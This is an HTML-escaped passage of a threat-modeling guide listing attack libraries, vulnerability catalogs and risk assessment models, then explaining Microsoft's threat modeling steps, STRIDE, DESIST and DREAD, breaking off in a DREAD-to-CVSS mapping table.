  &lt;li&gt;&lt;a href=&quot;https://atlas.mitre.org/&quot;&gt;ATLAS | MITRE&lt;/a&gt;: (Adversarial Threat Landscape for Artificial-Intelligence Systems) A knowledge base of adversary tactics and techniques against Al-enabled systems.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://attack.mitre.org&quot;&gt;ATT&amp;amp;CK | MITRE&lt;/a&gt;: Knowledge base of adversary tactics and techniques based on real-world observations.
    &lt;ul&gt;
      &lt;li&gt;Read here to learn more about how &lt;a href=&quot;https://capec.mitre.org/about/attack_comparison.html&quot;&gt;MITRE’s CAPEC library compares to their ATT&amp;amp;CK framework&lt;/a&gt;.&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://microsoft.github.io/Azure-Threat-Research-Matrix/&quot;&gt;Azure Threat Research Matrix&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://capec.mitre.org&quot;&gt;CAPEC | MITRE&lt;/a&gt;:  A comprehensive dictionary of known attack patterns.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://threats.wiz.io&quot;&gt;Cloud Threat Landscape&lt;/a&gt;: A comprehensive threat intelligence database of cloud security incidents, actors, tools and techniques.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.exploit-db.com&quot;&gt;Exploit-DB | OffSec&lt;/a&gt;: &lt;a href=&quot;https://cve.mitre.org&quot;&gt;CVE&lt;/a&gt;-compliant archive of public exploits and corresponding vulnerable software, developed for use by penetration testers and vulnerability researchers.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://fight.mitre.org&quot;&gt;FiGHT | MITRE&lt;/a&gt;: Knowledge base of adversary Tactics and Techniques for 5G systems.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://ctid.mitre.org/fraud#/&quot;&gt;Fight Fraud Framework (F3) | MITRE&lt;/a&gt;: Curated knowledge base of tactics and techniques used by financial fraud actors, derived from real-world observations of cyber fraud incidents.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://cloudsecurityalliance.org/blog/2025/02/06/agentic-ai-threat-modeling-framework-maestro#&quot;&gt;MAESTRO&lt;/a&gt;: Layer-based threat library specific to Agentic AI.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://pbom.dev/#overview&quot;&gt;OSC&amp;amp;R&lt;/a&gt;: Open Software Supply Chain Attack Reference: A comprehensive, systematic and actionable way to understand attacker behaviors and techniques with respect to the software supply chain.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://owasp.org/www-project-top-ten/&quot;&gt;OWASP Top 10&lt;/a&gt;: A broad consensus of the most critical security risks to web applications.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://plot4.ai&quot;&gt;PLOT4AI&lt;/a&gt;: Privacy Library of Threats 4 Artificial Intelligence (based on &lt;a href=&quot;#linddun&quot;&gt;LINDDUN&lt;/a&gt;)&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://pr3tack.org&quot;&gt;PR3TACK&lt;/a&gt;: Bridging the anticipatory gap in cybersecurity. While we can see and study what has been done, PR3TACK anticipates what could happen next.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://sap.github.io/risk-explorer-for-software-supply-chains/#/&quot;&gt;Risk Explorer for Software Supply Chains&lt;/a&gt;: Taxonomy of known attacks and techniques to inject malicious code into open-source software projects.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://spaceshield.esa.int&quot;&gt;SPACE-SHIELD&lt;/a&gt;: Space Attacks and Countermeasures Engineering Shield is an ATT&amp;amp;CK® like knowledge-base framework for Space Systems.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#stride&quot;&gt;STRIDE&lt;/a&gt;: A simplified, categorical list of attacks developed by &lt;a href=&quot;https://www.microsoft.com/en-us/msrc&quot;&gt;Microsoft&lt;/a&gt;.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/trustoncloud/threatmodel-for-aws-s3&quot;&gt;TrustOnCloud ThreatModel for Amazon S3&lt;/a&gt;: A library of all the &lt;a href=&quot;https://trustoncloud.com/the-last-s3-security-document-that-well-ever-need/&quot;&gt;attack scenarios&lt;/a&gt; on Amazon S3&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;vulnerability-catalogs&quot;&gt;Vulnerability Catalogs&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Vulnerability Catalogs&lt;/strong&gt; are lists of &lt;em&gt;known&lt;/em&gt; vulnerabilities, weaknesses and issues that affect specific software or classes of systems. A supplementary list of vulnerability-related tools can be found &lt;a href=&quot;https://shellsharks.com/infosec-tools#vulnerability-catalogs--tools&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.cloudvulndb.org/&quot;&gt;CloudVulnDB&lt;/a&gt;: List all known cloud vulnerabilities and CSP security issues&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://notcve.org/&quot;&gt;!CVE&lt;/a&gt;: Vulnerabilities that are not acknowledged by vendors but still are serious security issues.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://cve.mitre.org&quot;&gt;CVE | MITRE&lt;/a&gt;: A program which identifies, defines and catalogs publicly disclosed cybersecurity vulnerabilities. (&lt;a href=&quot;https://www.cve.org/&quot;&gt;CVE.org&lt;/a&gt;)&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://cwe.mitre.org&quot;&gt;CWE | MITRE&lt;/a&gt;: Community-developed list of software and hardware weakness types.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://shellsharks.com/designer-vulnerabilities&quot;&gt;Designer Vulnerabilities | Shellsharks&lt;/a&gt;: A list of “named” vulnerabilities.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://euvd.enisa.europa.eu/&quot;&gt;European vulnerability database (EUVD) | ENISA&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://gcve.eu/&quot;&gt;GCVE&lt;/a&gt;: Global CVE Allocation System is a new, decentralized approach to vulnerability identification and numbering, designed to improve flexibility, scalability, and autonomy for participating entities.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/RogoLabs/GhostCVEs/tree/main&quot;&gt;GhostCVEs&lt;/a&gt;: A Ghost CVE is a vulnerability identifier that appears in the wild (GitHub commits, security advisories, RSS feeds) but remains RESERVED or NOT_FOUND in official CVE registries like NVD and MITRE.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://globalcve.xyz&quot;&gt;GlobalCVE&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://gsd.id&quot;&gt;Global Security Database&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://go.dev/security/vuln/&quot;&gt;Go Vulnerability Management&lt;/a&gt;: Database of &lt;a href=&quot;https://go.dev&quot;&gt;Go&lt;/a&gt; vulnerabilities.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.cisa.gov/known-exploited-vulnerabilities-catalog&quot;&gt;KEV (Known Exploited Vulnerabilities) catalog | CISA&lt;/a&gt;: Authoritative source of vulnerabilities that have been exploited in the wild, maintained by &lt;a href=&quot;https://www.cisa.gov&quot;&gt;CISA&lt;/a&gt;.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://lve-project.org/index.html&quot;&gt;LVE Repository&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov&quot;&gt;NVD | NIST&lt;/a&gt;: Government repository of standards-based vulnerability management data represented using the Security Content Automation Protocol (&lt;a href=&quot;https://csrc.nist.gov/projects/security-content-automation-protocol&quot;&gt;SCAP&lt;/a&gt;).
    &lt;ul&gt;
      &lt;li&gt;Read here to learn more about the &lt;a href=&quot;https://cve.mitre.org/about/cve_and_nvd_relationship.html&quot;&gt;MITRE CVE vs. NIST NVD relationship&lt;/a&gt;.&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.cloudvulndb.org&quot;&gt;Open CVDB&lt;/a&gt;: An open project to list all known cloud vulnerabilities and cloud service provider (&lt;a href=&quot;https://cloudsecurityalliance.org/blog/2020/04/30/what-is-a-cloud-service-provider/&quot;&gt;CSP&lt;/a&gt;) security issues.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.opencve.io&quot;&gt;OpenCVE&lt;/a&gt;: Platform used to locally import the list of CVEs and perform searches on it (by vendors, products, CVSS, CWE…)&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://osv.dev/&quot;&gt;OSV&lt;/a&gt;: Known third-party open source dependency vulnerabilities.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://rustsec.org&quot;&gt;RUSTSEC&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://security.snyk.io&quot;&gt;Snyk Vulnerability Database&lt;/a&gt;: Database of open source vulnerabilities maintained by &lt;a href=&quot;https://snyk.io&quot;&gt;Snyk&lt;/a&gt;.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://vuldb.com&quot;&gt;VulDB&lt;/a&gt;: Vulnerability database documenting and explaining security vulnerabilities, threats and exploits.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://vulnerablemcp.info/&quot;&gt;Vulnerable MCP Project&lt;/a&gt;: A comprehensive database of Model Context Protocol vulnerabilities, security research, and exploits.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://wpscan.com/plugins/&quot;&gt;WordPress Plugin Vulnerabilities&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;risk-assessment-models&quot;&gt;Risk Assessment Models&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Risk Assessment Models&lt;/strong&gt; are methodologies for determining risk based on known information about a system. They are used to understand, control and mitigate risk to an organization or system.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.nist.gov/itl/ai-risk-management-framework&quot;&gt;AI Risk Management Framework (AI RMF) | NIST&lt;/a&gt;: Manage risks to individuals, organizations, and society associated with artificial intelligence (AI)&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://aivss.parthsohaney.online/&quot;&gt;AIVSS | OWASP&lt;/a&gt;: Calculate, visualize, and report on the security risks of autonomous AI systems&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://nvlpubs.nist.gov/nistpubs/ir/2012/NIST.IR.7864.pdf&quot;&gt;CMSS | NIST&lt;/a&gt;: &lt;em&gt;The Common Misuse Score System: Metrics for Software Feature Misuse Vulnerabilities&lt;/em&gt; contains a set of measures of the severity of software feature misuse vulnerabilities.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln-metrics/cvss&quot;&gt;CVSS | NIST&lt;/a&gt;: Open framework for communicating the characteristics and severity of software &lt;a href=&quot;#vulnerability-catalogs&quot;&gt;vulnerabilities&lt;/a&gt;. (Versions: &lt;a href=&quot;https://nvd.nist.gov/vuln-metrics/cvss/v2-calculator&quot;&gt;v2&lt;/a&gt;, &lt;a href=&quot;https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator&quot;&gt;v3&lt;/a&gt;, &lt;a href=&quot;https://nvd.nist.gov/vuln-metrics/cvss/v4-calculator&quot;&gt;v4&lt;/a&gt;)&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#dread&quot;&gt;DREAD&lt;/a&gt;: Quantitative risk model developed by &lt;a href=&quot;https://www.microsoft.com/en-us/msrc&quot;&gt;Microsoft&lt;/a&gt; that is reminiscent of &lt;em&gt;CVSS&lt;/em&gt;.
    &lt;ul&gt;
      &lt;li&gt;&lt;strong&gt;*&lt;/strong&gt; &lt;em&gt;Similar to &lt;a href=&quot;#stride&quot;&gt;STRIDE&lt;/a&gt;, DREAD is often mistakenly referred to as a threat modeling methodology. It is in fact a model to quantitatively evaluate security risk.&lt;/em&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.ssi.gouv.fr/guide/ebios-risk-manager-the-method/&quot;&gt;EBIOS Risk Manager (EBIOS RM)&lt;/a&gt;: Method for assessing and treating digital risks, published by the &lt;em&gt;National Cybersecurity Agency of France&lt;/em&gt; (&lt;a href=&quot;https://www.ssi.gouv.fr/&quot;&gt;ANSSI&lt;/a&gt;) with the support of &lt;a href=&quot;https://club-ebios.org/site/en/welcome/&quot;&gt;Club EBIOS&lt;/a&gt;.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.first.org/epss/&quot;&gt;EPSS&lt;/a&gt;: The &lt;em&gt;Exploit Prediction Scoring System&lt;/em&gt; is an open, data-driven effort for estimating the likelihood (probability) that a software vulnerability will be exploited in the wild.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.fairinstitute.org/what-is-fair&quot;&gt;FAIR&lt;/a&gt;: &lt;em&gt;Factor Analysis of Information Risk&lt;/em&gt; (&lt;strong&gt;FAIR&lt;/strong&gt;) is a methodology for quantifying and managing risk in any organization. &lt;a href=&quot;https://web.archive.org/web/20141118061526/http://www.riskmanagementinsight.com/media/docs/FAIR_introduction.pdf&quot;&gt;&lt;i class=&quot;ph ph-file-text&quot;&gt;&lt;/i&gt;&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://cyber.gc.ca/en/tools-services/harmonized-tra-methodology&quot;&gt;Harmonized TRA Methodology (TRA-1)&lt;/a&gt;: Set of tools designed to address all assets, employees and services at risk - from the &lt;a href=&quot;https://cyber.gc.ca/en&quot;&gt;Canadian Centre for Cyber Security&lt;/a&gt;.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.researchgate.net/publication/233644703_Mission_Oriented_Risk_and_Design_Analysis_of_Critical_Information_Systems&quot;&gt;MORDA&lt;/a&gt;: A quantitative risk assessment and risk management process that uses risk analysis techniques and multiple objective decision analysis models to evaluate information system designs.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://infosec.mozilla.org/guidelines/assessing_security_risk&quot;&gt;Mozilla’s Risk Assessment&lt;/a&gt;: Risk framework devised and used by Mozilla’s &lt;a href=&quot;https://infosec.mozilla.org&quot;&gt;security team&lt;/a&gt;. The &lt;a href=&quot;https://infosec.mozilla.org/guidelines/risk/rapid_risk_assessment.html&quot;&gt;Rapid Risk Assessment&lt;/a&gt; (RRA) methodology is a formalized, reproducible and consistent framework for conducting risk assessments.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://owasp.org/www-community/OWASP_Risk_Rating_Methodology&quot;&gt;OWASP Risk Rating Methodology&lt;/a&gt;: &lt;a href=&quot;https://owasp.org&quot;&gt;OWASP&lt;/a&gt;’s approach to calculating risk (&lt;a href=&quot;https://www.owasp-risk-rating.com&quot;&gt;OWASP Risk Rating Calculator&lt;/a&gt;).&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://riskscore.info&quot;&gt;SCORES&lt;/a&gt;: Seconize Contextual Risk Enumeration System is a free risk scoring tool for vulnerabilities.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://csrc.nist.gov/publications/detail/sp/800-30/rev-1/final&quot;&gt;SP 800-30, Guide for Conducting Risk Assessments | NIST&lt;/a&gt;: Guidance for conducting risk assessments of federal information systems and organizations.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://sscv-framework.org/&quot;&gt;SSCV&lt;/a&gt;: Contextual Vulnerability Risk Scoring to transform CVSS scores into contextual risk assessments that reflect the actual threat to your specific systems.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.cisa.gov/ssvc&quot;&gt;SSVC | CISA&lt;/a&gt;: Stakeholder-Specific Vulnerability Categorization system is a vulnerability analysis methodology that accounts for a vulnerability’s exploitation status, impacts to safety, and prevalence of the affected product in a singular system.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://media10.connectedsocialmedia.com/intel/10/5725/Intel_IT_Business_Value_Prioritizing_Info_Security_Risks_with_TARA.pdf&quot;&gt;Threat Agent Risk Assessment (TARA) | Intel&lt;/a&gt;: Methodology that distills the immense number of possible information security attacks into a digest of only those exposures most likely to occur.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://viss.zoom.com&quot;&gt;VISS | Zoom&lt;/a&gt;: The Vulnerability Impact Scoring System (VISS) captures objective impact characteristics of software, hardware, and firmware vulnerabilities in relation to infrastructure, technology stack, and customer data security.&lt;/li&gt;
&lt;/ul&gt;

&lt;hr width=&quot;45%&quot; /&gt;

&lt;h2 id=&quot;microsoft-threat-modeling&quot;&gt;&lt;a href=&quot;https://www.microsoft.com/en-us/securityengineering/sdl/threatmodeling&quot;&gt;Microsoft Threat Modeling&lt;/a&gt;&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Microsoft’s Threat Modeling&lt;/strong&gt; framework is comprised of &lt;a href=&quot;#microsoft-threat-modeling-steps&quot;&gt;five major steps&lt;/a&gt;. &lt;a href=&quot;https://www.microsoft.com&quot;&gt;Microsoft&lt;/a&gt; emphasizes the importance of &lt;a href=&quot;#intro-to-threat-modeling&quot;&gt;threat modeling&lt;/a&gt; as part of an organizations routine &lt;a href=&quot;https://www.microsoft.com/en-us/securityengineering/sdl/&quot;&gt;SDL&lt;/a&gt; practice. &lt;strong&gt;&lt;a href=&quot;#references&quot;&gt;&lt;sup&gt;3&lt;/sup&gt;&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;center&gt;&lt;img alt=&quot;MS Threat Modeling&quot; src=&quot;https://shellsharks-images.s3.amazonaws.com/2022/threatmodel/msft-threat-model.png&quot; width=&quot;400px&quot; /&gt;&lt;/center&gt;

&lt;h6 id=&quot;microsoft-threat-modeling-steps&quot;&gt;Microsoft Threat Modeling Steps&lt;/h6&gt;

&lt;ol&gt;
  &lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://www.microsoft.com/en-us/securityengineering/sdl/practices#practice2&quot;&gt;Define&lt;/a&gt;&lt;/strong&gt; security requirements which reflect the legal/industry requirements, internal standards, previous incidents, known threats, data classification and business criticality of a system.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Diagram&lt;/strong&gt; the application by drawing a &lt;a href=&quot;#data-flow-diagram&quot;&gt;data flow diagram&lt;/a&gt; (DFD) which depicts the processes, systems, data stores, data flows and other contextual information about an application/system.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Identify&lt;/strong&gt; threats by leveraging an &lt;a href=&quot;#attack-libraries&quot;&gt;attack library&lt;/a&gt; or threat classification system such as &lt;a href=&quot;#stride&quot;&gt;STRIDE&lt;/a&gt;.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Mitigate&lt;/strong&gt; threats by developing potential &lt;a href=&quot;#control-frameworks&quot;&gt;risk treatments&lt;/a&gt; which can be implemented by system owners to address identified threats.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Validate&lt;/strong&gt; that threats have been mitigated by revisiting the threat model and adapting that model to account for changes introduced to the system as a result of previous mitigation efforts or functional changes.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Alongside this approach &lt;strong&gt;&lt;a href=&quot;#references&quot;&gt;&lt;sup&gt;3&lt;/sup&gt;&lt;/a&gt;&lt;/strong&gt;, &lt;a href=&quot;https://www.microsoft.com/&quot;&gt;Microsoft&lt;/a&gt; published a threat classification system known as &lt;a href=&quot;#stride&quot;&gt;STRIDE&lt;/a&gt;. Despite STRIDE having never been a particularly effective method for enumerating attacks &lt;strong&gt;&lt;a href=&quot;#references&quot;&gt;&lt;sup&gt;28&lt;/sup&gt;&lt;/a&gt;&lt;/strong&gt;, it has nevertheless prevailed as the taxonomy of choice for the official &lt;a href=&quot;#microsoft-threat-modeling-tool&quot;&gt;Microsoft Threat Modeling tool&lt;/a&gt; which uses STRIDE for auto-enumerating potential attacks within a provided model.&lt;/p&gt;

&lt;p&gt;You know who else loves Microsoft Threat Modeling and STRIDE? &lt;a href=&quot;https://github.blog/2020-09-02-how-we-threat-model/&quot;&gt;GitHub&lt;/a&gt;! (&lt;em&gt;&lt;a href=&quot;https://news.microsoft.com/announcement/microsoft-acquires-github/&quot;&gt;unsurprisingly&lt;/a&gt;&lt;/em&gt;)&lt;/p&gt;

&lt;h5 id=&quot;stride&quot;&gt;STRIDE&lt;/h5&gt;
&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://docs.microsoft.com/en-us/archive/msdn-magazine/2006/november/uncover-security-design-flaws-using-the-stride-approach&quot;&gt;STRIDE&lt;/a&gt;&lt;/strong&gt; is a 6*-pronged threat classification model developed by &lt;a href=&quot;https://www.microsoft.com/&quot;&gt;Microsoft&lt;/a&gt;. &lt;strong&gt;*&lt;/strong&gt; STRIDE is often mistakenly referred to as a &lt;a href=&quot;#intro-to-threat-modeling&quot;&gt;threat modeling&lt;/a&gt; methodology, but it is in fact just a collection of 6 &lt;em&gt;somewhat&lt;/em&gt; &lt;strong&gt;&lt;a href=&quot;#references&quot;&gt;&lt;sup&gt;28&lt;/sup&gt;&lt;/a&gt;&lt;/strong&gt; distinct threat classes. These threats and their respective desired security properties are listed below. &lt;strong&gt;&lt;a href=&quot;#references&quot;&gt;&lt;sup&gt;4&lt;/sup&gt;&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Threat&lt;/th&gt;
      &lt;th&gt;Security Property&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;Spoofing&lt;/td&gt;
      &lt;td&gt;Authenticity&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Tampering&lt;/td&gt;
      &lt;td&gt;Integrity&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Repudiation&lt;/td&gt;
      &lt;td&gt;Non-Repudiability&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Information Disclosure&lt;/td&gt;
      &lt;td&gt;Confidentiality&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Denial of Service (DoS)&lt;/td&gt;
      &lt;td&gt;Availability&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Elevation of Privilege (EoP)  &lt;/td&gt;
      &lt;td&gt;Authorization&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;strong&gt;*&lt;/strong&gt; &lt;em&gt;Lateral Movement (LM)&lt;/em&gt; &lt;strong&gt;&lt;a href=&quot;#references&quot;&gt;&lt;sup&gt;24&lt;/sup&gt;&lt;/a&gt;&lt;/strong&gt;&lt;/td&gt;
      &lt;td&gt;Least-Privilege&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;Below is a matrix describing the STRIDE threat categories and how they typically apply to the elements of a standard &lt;a href=&quot;#data-flow-diagram&quot;&gt;data flow diagram&lt;/a&gt; (DFD). &lt;strong&gt;&lt;a href=&quot;#references&quot;&gt;&lt;sup&gt;25&lt;/sup&gt;&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Element&lt;/th&gt;
      &lt;th&gt;S&lt;/th&gt;
      &lt;th&gt;T&lt;/th&gt;
      &lt;th&gt;R&lt;/th&gt;
      &lt;th&gt;I&lt;/th&gt;
      &lt;th&gt;D&lt;/th&gt;
      &lt;th&gt;E&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;Data Flow&lt;/td&gt;
      &lt;td&gt; &lt;/td&gt;
      &lt;td&gt;X&lt;/td&gt;
      &lt;td&gt; &lt;/td&gt;
      &lt;td&gt;X&lt;/td&gt;
      &lt;td&gt;X&lt;/td&gt;
      &lt;td&gt; &lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Data Store&lt;/td&gt;
      &lt;td&gt; &lt;/td&gt;
      &lt;td&gt;X&lt;/td&gt;
      &lt;td&gt; &lt;/td&gt;
      &lt;td&gt;X&lt;/td&gt;
      &lt;td&gt;X&lt;/td&gt;
      &lt;td&gt; &lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Processes&lt;/td&gt;
      &lt;td&gt;X&lt;/td&gt;
      &lt;td&gt;X&lt;/td&gt;
      &lt;td&gt;X&lt;/td&gt;
      &lt;td&gt;X&lt;/td&gt;
      &lt;td&gt;X&lt;/td&gt;
      &lt;td&gt;X&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;External Entity&lt;/td&gt;
      &lt;td&gt;X&lt;/td&gt;
      &lt;td&gt; &lt;/td&gt;
      &lt;td&gt;X&lt;/td&gt;
      &lt;td&gt; &lt;/td&gt;
      &lt;td&gt; &lt;/td&gt;
      &lt;td&gt; &lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;h6 id=&quot;desist&quot;&gt;DESIST&lt;/h6&gt;
&lt;p&gt;&lt;strong&gt;DESIST&lt;/strong&gt; is a variant of &lt;a href=&quot;#stride&quot;&gt;STRIDE&lt;/a&gt;, it stands for &lt;em&gt;Dispute&lt;/em&gt;, &lt;em&gt;Elevation of Privilege&lt;/em&gt;, &lt;em&gt;Spoofing&lt;/em&gt;, &lt;em&gt;Information Disclosure&lt;/em&gt;, &lt;em&gt;Service Denial&lt;/em&gt; and &lt;em&gt;Tampering&lt;/em&gt;.&lt;/p&gt;

&lt;h5 id=&quot;dread&quot;&gt;DREAD&lt;/h5&gt;
&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://docs.microsoft.com/en-us/windows-hardware/drivers/driversecurity/threat-modeling-for-drivers#the-dread-approach-to-threat-assessment&quot;&gt;DREAD&lt;/a&gt;&lt;/strong&gt; is a threat / &lt;a href=&quot;#risk-assessment-models&quot;&gt;risk assessment model&lt;/a&gt; developed by &lt;a href=&quot;https://www.microsoft.com/&quot;&gt;Microsoft&lt;/a&gt;. It is comprised of the &lt;strong&gt;5&lt;/strong&gt; metrics below. &lt;strong&gt;&lt;a href=&quot;#references&quot;&gt;&lt;sup&gt;5&lt;/sup&gt;&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;Damage&lt;/strong&gt; : Confidentiality, integrity and availability (&lt;strong&gt;CIA&lt;/strong&gt;) impact.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Reproducibility&lt;/strong&gt; : How often a specified type of attack will succeed.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Exploitability&lt;/strong&gt; : Effort and expertise required to mount an attack.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Affected Users&lt;/strong&gt; : Number/type of users that could be affected.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Discoverability&lt;/strong&gt; : Likelihood of exploitation.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;A simple way to use DREAD to &lt;em&gt;quantitatively&lt;/em&gt; calculate risk would be to assign a value, 1-10 across each of the metrics above for each of the known threats / &lt;a href=&quot;#vulnerability-catalogs&quot;&gt;vulnerabilities&lt;/a&gt; applicable to a system. Once complete, take the average, which will yield the final (out of 10) risk score. This is similar in some ways to how &lt;a href=&quot;https://nvd.nist.gov/vuln-metrics/cvss&quot;&gt;CVSS&lt;/a&gt; is used to score risks. In fact, DREAD maps to CVSS (&lt;a href=&quot;https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator&quot;&gt;v3.1&lt;/a&gt;) as shown below. With all this said, the scoring methodology via DREAD is notably problematic. &lt;strong&gt;&lt;a href=&quot;#references&quot;&gt;&lt;sup&gt;28&lt;/sup&gt;&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;h6 id=&quot;dread-to-cvssv3-matrix&quot;&gt;DREAD to CVSSv3 Matrix&lt;/h6&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;DREAD Criteria&lt;/th&gt;
      &lt;th&gt;CVSS Metric(s)&lt;/th&gt;
      &lt;th&gt;CVSS Acronym&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;Damage&lt;/td&gt;
      &lt;td&gt;Impact, i.e. Confidentiality, Integrity &amp;amp; Availability&lt;/td&gt;
      &lt;td&gt;(&lt;em&gt;C&lt;/em&gt;,&lt;em&gt;I&lt;/em&gt;,&lt;em&gt;A&lt;/em&gt;)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Reproducibility&lt;/td&gt;
      &lt;td&gt;Exploit Code Maturity&lt;/td&gt;
      &lt;td&gt;(&lt;em&gt;E&lt;/em&gt;)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Exploitability&lt;/td&gt;
      &lt;td&gt;Attack Vector, Attack Complexity, Privileges Required, User Interaction  &lt;/td&gt;
